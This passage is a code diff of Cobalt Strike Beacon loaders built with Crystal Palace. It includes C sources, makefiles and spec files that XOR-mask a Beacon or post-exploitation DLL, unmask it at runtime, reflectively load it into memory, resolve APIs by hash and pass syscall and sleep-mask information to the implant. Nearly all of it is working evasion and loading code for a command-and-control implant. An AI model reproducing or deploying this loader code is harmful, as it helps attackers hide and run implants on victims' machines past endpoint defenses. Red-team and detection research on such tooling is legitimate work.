@@ -0,0 +1,42 @@
/* Define the supported action types for the pivot beacons */
typedef enum _PIVOT_ACTION {
ACTION_UNKNOWN,
ACTION_TCP_RECV,
ACTION_TCP_ACCEPT,
ACTION_PIPE_WAIT,
ACTION_PIPE_PEEK
} PIVOT_ACTION;
/*
* action - defines which ACTION_ type to use in the pivot_sleep
* in - defines the in socket for the ACTION_TCP_ types
* out - defines the out socket for the ACTION_TCP_ types
* pipe - defines the pipe for the ACTION_PIPE_ types
*/
typedef struct _PIVOT_ARGS {
PIVOT_ACTION action;
SOCKET in;
SOCKET out;
HANDLE pipe;
} PIVOT_ARGS, * PPIVOT_ARGS;
typedef enum _REASON_FOR_CALL {
DEFAULT_SLEEP,
PIVOT_SLEEP,
BEACON_GATE
} REASON_FOR_CALL;
/*
* version - version of the structure. format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* sleepmask_type - sleep mask type:
* sleep_time - the time to sleep in milliseconds
* beacon_info - the BEACON_INFO structure
* pivot_args - the PIVOT_ARGS structure
*/
typedef struct _SLEEPMASK_INFO {
unsigned int version;
REASON_FOR_CALL reason;
DWORD sleep_time;
BEACON_INFO beacon_info;
PIVOT_ARGS pivot_args;
} SLEEPMASK_INFO, * PSLEEPMASK_INFO;
+18 -3
View File
@@ -15,7 +15,7 @@
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS AS IS AND ANY EXPRESS
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
@@ -26,11 +26,19 @@
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
@@ -40,6 +48,12 @@ typedef struct {
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
@@ -50,6 +64,7 @@ void dprintf(char * format, ...);
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
@@ -58,8 +73,8 @@ void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
void * findFunctionByHash(char * src, DWORD wantedFunction);
char * findModuleByHash(DWORD moduleHash);
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
-12
View File
@@ -1,12 +0,0 @@
CC_64 = x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
clean:
rm -f bin/*
-13
View File
@@ -1,13 +0,0 @@
# Postex Loader
This loader is used with Beacon's fork & run commands that utilise a postex DLL.
It assumes that `post-ex.smart-inject` is enabled to receive pointers to
GetModuleHandleA and GetProcAddress from the parent Beacon. The loader
uses these to resolve APIs required to load the DLL, rather than walking
the export address table.
The loader also passes RDATA_SECTION information to the postex DLL, as
some long-running jobs can obfuscate their .rdata section while waiting.
The postex DLL is masked with a random XOR key and unmasked at runtime.
Binary file not shown.
-24
View File
@@ -1,24 +0,0 @@
name "Beacon Postex Loader"
describe "PIC loader for Cobalt Strike's postex DLLs"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
dfr "resolve" "strings"
patch "pGetModuleHandle" $GMH
patch "pGetProcAddress" $GPA
mergelib "../libtcg.x64.zip"
generate $KEY 128
push $DLL
xor $KEY
preplen
link "dll"
push $KEY
preplen
link "key"
export
-152
View File
@@ -1,152 +0,0 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <windows.h>
#include "tcg.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect (LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count);
__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text")));
__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text")));
char * resolve(char * module, char * function) {
HANDLE hModule = pGetModuleHandle(module);
if (hModule == NULL) {
hModule = LoadLibraryA(module);
}
return (char *)pGetProcAddress(hModule, function);
}
#define GETRESOURCE(x) (char *)&x
char _DLL_[0] __attribute__((section("dll")));
char _KEY_[0] __attribute__((section("key")));
typedef struct {
int length;
char value[];
} RESOURCE;
typedef struct {
char * start;
DWORD length;
DWORD offset;
} RDATA_SECTION;
void FixSectionPermissions(DLLDATA * dll, char * dst, RDATA_SECTION * rdata)
{
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtection = 0;
DWORD oldProtection = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int i = 0; i < numberOfSections; i++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtection = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtection = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtection = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtection = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtection = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtection = PAGE_EXECUTE_READWRITE;
}
KERNEL32$VirtualProtect(sectionDst, sectionSize, newProtection, &oldProtection);
if (MSVCRT$strncmp((char *)sectionHdr->Name, ".rdata", IMAGE_SIZEOF_SHORT_NAME) == 0) {
rdata->start = sectionDst;
rdata->length = sectionSize;
rdata->offset = dll->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
}
sectionHdr++;
}
}
void go(void * loaderArguments)
{
IMPORTFUNCS funcs;
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
/* get the masked dll and key */
RESOURCE * dll = (RESOURCE *)GETRESOURCE(_DLL_);
RESOURCE * key = (RESOURCE *)GETRESOURCE(_KEY_);
/* unmask and load into memory */
char * src = (char *)KERNEL32$VirtualAlloc(NULL, dll->length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (int i = 0; i < dll->length; i++) {
src[i] = dll->value[i] ^ key->value[i % key->length];
}
/* parse dll headers */
DLLDATA data;
ParseDLL(src, &data);
/* load it into new memory */
char * dst = (char *)KERNEL32$VirtualAlloc(NULL, SizeOfDLL(&data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LoadDLL(&data, src, dst);
ProcessImports(&funcs, &data, dst);
RDATA_SECTION rdata;
FixSectionPermissions(&data, dst, &rdata);
/* get the entry point */
DLLMAIN_FUNC entryPoint = EntryPoint(&data, dst);
/* free the unmasked copy */
KERNEL32$VirtualFree(src, 0, MEM_RELEASE);
/* call entry point */
entryPoint((HINSTANCE)dst, DLL_PROCESS_ATTACH, &rdata);
entryPoint((HINSTANCE)GETRESOURCE(go), 0x04, loaderArguments);
}
+19
View File
@@ -0,0 +1,19 @@
CC=i686-w64-mingw32-gcc
CC_64=x86_64-w64-mingw32-gcc
CFLAGS=-fno-jump-tables -shared -Wall -Wno-pointer-arith
.PHONY: all x86 x64 clean
all: x86 x64
bin:
mkdir -p bin
x86: bin
$(CC) -DWIN_X86 $(CFLAGS) -c src/loader.c -o bin/loader.x86.o
x64: bin
$(CC_64) -DWIN_X64 $(CFLAGS) -c src/loader.c -o bin/loader.x64.o
clean:
rm -rf bin
Binary file not shown.
Binary file not shown.
+49
View File
@@ -0,0 +1,49 @@
x86:
generate $KEY 2048
load "bin/loader.x86.o"
make pic +gofirst +optimize
fixptrs "_caller"
dfr "_resolve" "strings"
patch "_pGetModuleHandle" $GMH
patch "_pGetProcAddress" $GPA
mergelib "../libtcg.x86.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
x64:
generate $KEY 2048
load "bin/loader.x64.o"
make pic +gofirst +optimize
dfr "resolve" "strings"
patch "pGetModuleHandle" $GMH
patch "pGetProcAddress" $GPA
mergelib "../libtcg.x64.zip"
push $DLL
xor $KEY
preplen
link "dll_data"
push $KEY
preplen
link "key_data"
export
+115
View File
@@ -0,0 +1,115 @@
#include <windows.h>
#include "tcg.h"
#include "loader.h"
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT LPVOID WINAPIV MSVCRT$malloc ( size_t );
DECLSPEC_IMPORT void WINAPIV MSVCRT$free ( LPVOID );
__typeof__ ( GetModuleHandleA ) * pGetModuleHandle __attribute__ ( ( section ( ".text" ) ) );
__typeof__ ( GetProcAddress ) * pGetProcAddress __attribute__ ( ( section ( ".text" ) ) );
char __DLLDATA__ [ 0 ] __attribute__ ( ( section ( "dll_data" ) ) );
char __KEYDATA__ [ 0 ] __attribute__ ( ( section ( "key_data" ) ) );
FARPROC resolve ( char * mod_name, char * func_name )
{
HANDLE module = pGetModuleHandle ( mod_name );
if ( module == NULL ) {
module = LoadLibraryA ( mod_name );
}
return pGetProcAddress ( module, func_name );
}
#ifdef WIN_X86
__declspec ( noinline ) ULONG_PTR caller ( VOID ) { return ( ULONG_PTR ) WIN_GET_CALLER ( ); }
#endif
void go ( LPVOID arguments )
{
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( __DLLDATA__ );
RESOURCE * xor_key = ( RESOURCE * ) GETRESOURCE ( __KEYDATA__ );
char * dll_src = MSVCRT$malloc ( masked_dll->length );
for ( size_t i = 0; i < masked_dll->length; i++ ) {
dll_src [ i ] = masked_dll->value [ i ] ^ xor_key->value [ i % xor_key->length ];
}
DLLDATA dll_data;
ParseDLL ( dll_src, &dll_data );
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
LoadDLL ( &dll_data, dll_src, dll_dst );
IMPORTFUNCS funcs;
funcs.GetProcAddress = GetProcAddress;
funcs.LoadLibraryA = LoadLibraryA;
ProcessImports ( &funcs, &dll_data, dll_dst );
RDATA_SECTION rdata;
memset ( &rdata, 0, sizeof ( RDATA_SECTION ) );
fix_section_permissions ( &dll_data, dll_dst, &rdata );
DLLMAIN_FUNC dll_main = EntryPoint ( &dll_data, dll_dst );
MSVCRT$free ( dll_src );
dll_main ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
dll_main ( ( HINSTANCE ) &go, 4, arguments );
}
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata )
{
DWORD section_count = dll_data->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll_data->OptionalHeader, dll_data->NtHeaders->FileHeader.SizeOfOptionalHeader );
for ( size_t i = 0; i < section_count; i++ )
{
void * section_dst = dll_dst + section_hdr->VirtualAddress;
DWORD section_size = section_hdr->SizeOfRawData;
DWORD new_protect;
DWORD old_protect;
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
new_protect = PAGE_WRITECOPY;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
new_protect = PAGE_READONLY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
new_protect = PAGE_READWRITE;
}
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
new_protect = PAGE_EXECUTE;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_WRITECOPY;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
new_protect = PAGE_EXECUTE_READ;
}
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
new_protect = PAGE_EXECUTE_READWRITE;
}
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
DWORD hash = ror13hash ( ( const char * ) section_hdr->Name );
if ( hash == 0xcba738b8 )
{
rdata->start = section_dst;
rdata->length = section_size;
rdata->offset = dll_data->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size;
}
section_hdr++;
}
}
+17
View File
@@ -0,0 +1,17 @@
#define GETRESOURCE(x) ( char * ) &x
#define memset(x, y, z) __stosb ( ( unsigned char * ) x, y, z );
typedef struct {
int length;
char value [ ];
} RESOURCE;
typedef struct {
char* start; // The start address of the .rdata section
DWORD length; // The length (Size of Raw Data) of the .rdata section
DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;
void go ( );
void fix_section_permissions ( DLLDATA * dll_data, char * dll_dst, RDATA_SECTION * rdata );
+102
View File
@@ -0,0 +1,102 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// used by both the Pico Loader and DLL loader
typedef struct {
__typeof__(LoadLibraryA) * LoadLibraryA;
__typeof__(GetProcAddress) * GetProcAddress;
} IMPORTFUNCS;
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
FARPROC __resolve_hook(DWORD funcHash);
/*
* Structs used by our DLL loader
*/
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
#define DEREF( name )*(UINT_PTR *)(name)
typedef struct {
IMAGE_DOS_HEADER * DosHeader;
IMAGE_NT_HEADERS * NtHeaders;
IMAGE_OPTIONAL_HEADER * OptionalHeader;
} DLLDATA;
/*
* utility functions
*/
DWORD adler32sum(unsigned char * buffer, DWORD length);
DWORD ror13hash(const char * c);
/*
* printf-style debugging.
*/
void dprintf(char * format, ...);
/*
* PICO running functions
*/
typedef void (*PICOMAIN_FUNC)(char * arg);
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
int PicoCodeSize(char * src);
int PicoDataSize(char * src);
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
/*
* Resolve functions by walking the export address table
*/
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
HANDLE findModuleByHash(DWORD moduleHash);
/*
* DLL parsing and loading functions
*/
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
void LoadDLL(DLLDATA * dll, char * src, char * dst);
void LoadSections(DLLDATA * dll, char * src, char * dst);
void ParseDLL(char * src, DLLDATA * data);
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
DWORD SizeOfDLL(DLLDATA * data);
/*
* A macro to figure out our caller
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
*/
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
-12
View File
@@ -1,12 +0,0 @@
CC_64 = x86_64-w64-mingw32-gcc
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -masm=intel -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
clean:
rm -f bin/*
-14
View File
@@ -1,14 +0,0 @@
# BUD Loader
This loader is used when the BEACON_RDLL_GENERATE hook is called,
i.e. when a new Beacon payload is generated.
This loader passes Beacon's memory allocation information to Beacon
via Beacon User Data (BUD). It also uses a port of [LibGate](https://github.com/rasta-mouse/LibGate) to
resolve and pass syscall information to Beacon.
Beacon is masked with a random XOR key and unmasked at runtime.
## Notes
1. It's expected that Beacon will free the loader (`stage.cleanup`).
Binary file not shown.
-23
View File
@@ -1,23 +0,0 @@
name "Beacon BUD Loader"
describe "PIC loader to pass memory allocation information via Beacon User Data"
author "Daniel Duggan (@_RastaMouse)"
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize +disco
dfr "resolve" "ror13"
mergelib "../libgate.x64.zip"
mergelib "../libtcg.x64.zip"
generate $KEY 128
push $DLL
xor $KEY
preplen
link "dll"
push $KEY
preplen
link "key"
export
-170
View File
@@ -1,170 +0,0 @@
/*
* From https://raw.githubusercontent.com/Cobalt-Strike/bof-vs/refs/heads/main/BOF-Template/beacon.h
*/
#include <windows.h>
typedef enum {
PURPOSE_EMPTY,
PURPOSE_GENERIC_BUFFER,
PURPOSE_BEACON_MEMORY,
PURPOSE_SLEEPMASK_MEMORY,
PURPOSE_BOF_MEMORY,
PURPOSE_USER_DEFINED_MEMORY = 1000
} ALLOCATED_MEMORY_PURPOSE;
typedef enum {
LABEL_EMPTY,
LABEL_BUFFER,
LABEL_PEHEADER,
LABEL_TEXT,
LABEL_RDATA,
LABEL_DATA,
LABEL_PDATA,
LABEL_RELOC,
LABEL_USER_DEFINED = 1000
} ALLOCATED_MEMORY_LABEL;
typedef enum {
METHOD_UNKNOWN,
METHOD_VIRTUALALLOC,
METHOD_HEAPALLOC,
METHOD_MODULESTOMP,
METHOD_NTMAPVIEW,
METHOD_USER_DEFINED = 1000,
} ALLOCATED_MEMORY_ALLOCATION_METHOD;
typedef struct _HEAPALLOC_INFO {
PVOID HeapHandle;
BOOL DestroyHeap;
} HEAPALLOC_INFO, *PHEAPALLOC_INFO;
typedef struct _MODULESTOMP_INFO {
HMODULE ModuleHandle;
} MODULESTOMP_INFO, *PMODULESTOMP_INFO;
typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION {
HEAPALLOC_INFO HeapAllocInfo;
MODULESTOMP_INFO ModuleStompInfo;
PVOID Custom;
} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION {
BOOL Cleanup;
ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod;
ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation;
} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION;
typedef struct _ALLOCATED_MEMORY_SECTION {
ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development
PVOID BaseAddress; // Pointer to virtual address of section
SIZE_T VirtualSize; // Virtual size of the section
DWORD CurrentProtect; // Current memory protection of the section
DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking)
BOOL MaskSection; // A boolean to indicate whether the section should be masked
} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION;
typedef struct _ALLOCATED_MEMORY_REGION {
ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory
PVOID AllocationBase; // The base address of the allocated memory block
SIZE_T RegionSize; // The size of the allocated memory block
DWORD Type; // The type of memory allocated
ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures
ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation
} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION;
typedef struct {
ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6];
} ALLOCATED_MEMORY, *PALLOCATED_MEMORY;
typedef struct
{
PVOID fnAddr;
PVOID jmpAddr;
DWORD sysnum;
} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY;
typedef struct
{
SYSCALL_API_ENTRY ntAllocateVirtualMemory;
SYSCALL_API_ENTRY ntProtectVirtualMemory;
SYSCALL_API_ENTRY ntFreeVirtualMemory;
SYSCALL_API_ENTRY ntGetContextThread;
SYSCALL_API_ENTRY ntSetContextThread;
SYSCALL_API_ENTRY ntResumeThread;
SYSCALL_API_ENTRY ntCreateThreadEx;
SYSCALL_API_ENTRY ntOpenProcess;
SYSCALL_API_ENTRY ntOpenThread;
SYSCALL_API_ENTRY ntClose;
SYSCALL_API_ENTRY ntCreateSection;
SYSCALL_API_ENTRY ntMapViewOfSection;
SYSCALL_API_ENTRY ntUnmapViewOfSection;
SYSCALL_API_ENTRY ntQueryVirtualMemory;
SYSCALL_API_ENTRY ntDuplicateObject;
SYSCALL_API_ENTRY ntReadVirtualMemory;
SYSCALL_API_ENTRY ntWriteVirtualMemory;
SYSCALL_API_ENTRY ntReadFile;
SYSCALL_API_ENTRY ntWriteFile;
SYSCALL_API_ENTRY ntCreateFile;
SYSCALL_API_ENTRY ntQueueApcThread;
SYSCALL_API_ENTRY ntCreateProcess;
SYSCALL_API_ENTRY ntOpenProcessToken;
SYSCALL_API_ENTRY ntTestAlert;
SYSCALL_API_ENTRY ntSuspendProcess;
SYSCALL_API_ENTRY ntResumeProcess;
SYSCALL_API_ENTRY ntQuerySystemInformation;
SYSCALL_API_ENTRY ntQueryDirectoryFile;
SYSCALL_API_ENTRY ntSetInformationProcess;
SYSCALL_API_ENTRY ntSetInformationThread;
SYSCALL_API_ENTRY ntQueryInformationProcess;
SYSCALL_API_ENTRY ntQueryInformationThread;
SYSCALL_API_ENTRY ntOpenSection;
SYSCALL_API_ENTRY ntAdjustPrivilegesToken;
SYSCALL_API_ENTRY ntDeviceIoControlFile;
SYSCALL_API_ENTRY ntWaitForMultipleObjects;
} SYSCALL_API, *PSYSCALL_API;
/* Additional Run Time Library (RTL) addresses used to support system calls.
* If they are not set then system calls that require them will fall back
* to the Standard Windows API.
*
* Required to support the following system calls:
* ntCreateFile
*/
typedef struct
{
PVOID rtlDosPathNameToNtPathNameUWithStatusAddr;
PVOID rtlFreeHeapAddr;
PVOID rtlGetProcessHeapAddr;
} RTL_API, *PRTL_API;
typedef struct
{
SYSCALL_API syscalls;
RTL_API rtls;
} BEACON_SYSCALLS, *PBEACON_SYSCALLS;
/* Beacon User Data
*
* version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
* e.g. 0x040900 -> CS 4.9
* 0x041000 -> CS 4.10
*/
#define COBALT_STRIKE_VERSION 0x041100
#define BOF_MEMORY_SIZE 0x10000
#define SLEEPMASK_MEMORY_SIZE 0x10000
#define DLL_BEACON_START 0x04
#define DLL_BEACON_USER_DATA 0x0d
#define BEACON_USER_DATA_CUSTOM_SIZE 32
typedef struct
{
unsigned int version;
PSYSCALL_API syscalls;
char custom[BEACON_USER_DATA_CUSTOM_SIZE];
PRTL_API rtls;
PALLOCATED_MEMORY allocatedMemory;
} USER_DATA, * PUSER_DATA;
-10
View File
@@ -1,10 +0,0 @@
#include <windows.h>
typedef struct {
DWORD ssn;
PVOID jmpAddr;
} SYSCALL_GATE;
BOOL GetSyscall (PVOID ntdll, PVOID func, SYSCALL_GATE * gate);
void PrepareSyscall (DWORD ssn, PVOID addr);
void DoSyscall ();
-295
View File
@@ -1,295 +0,0 @@
/*
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
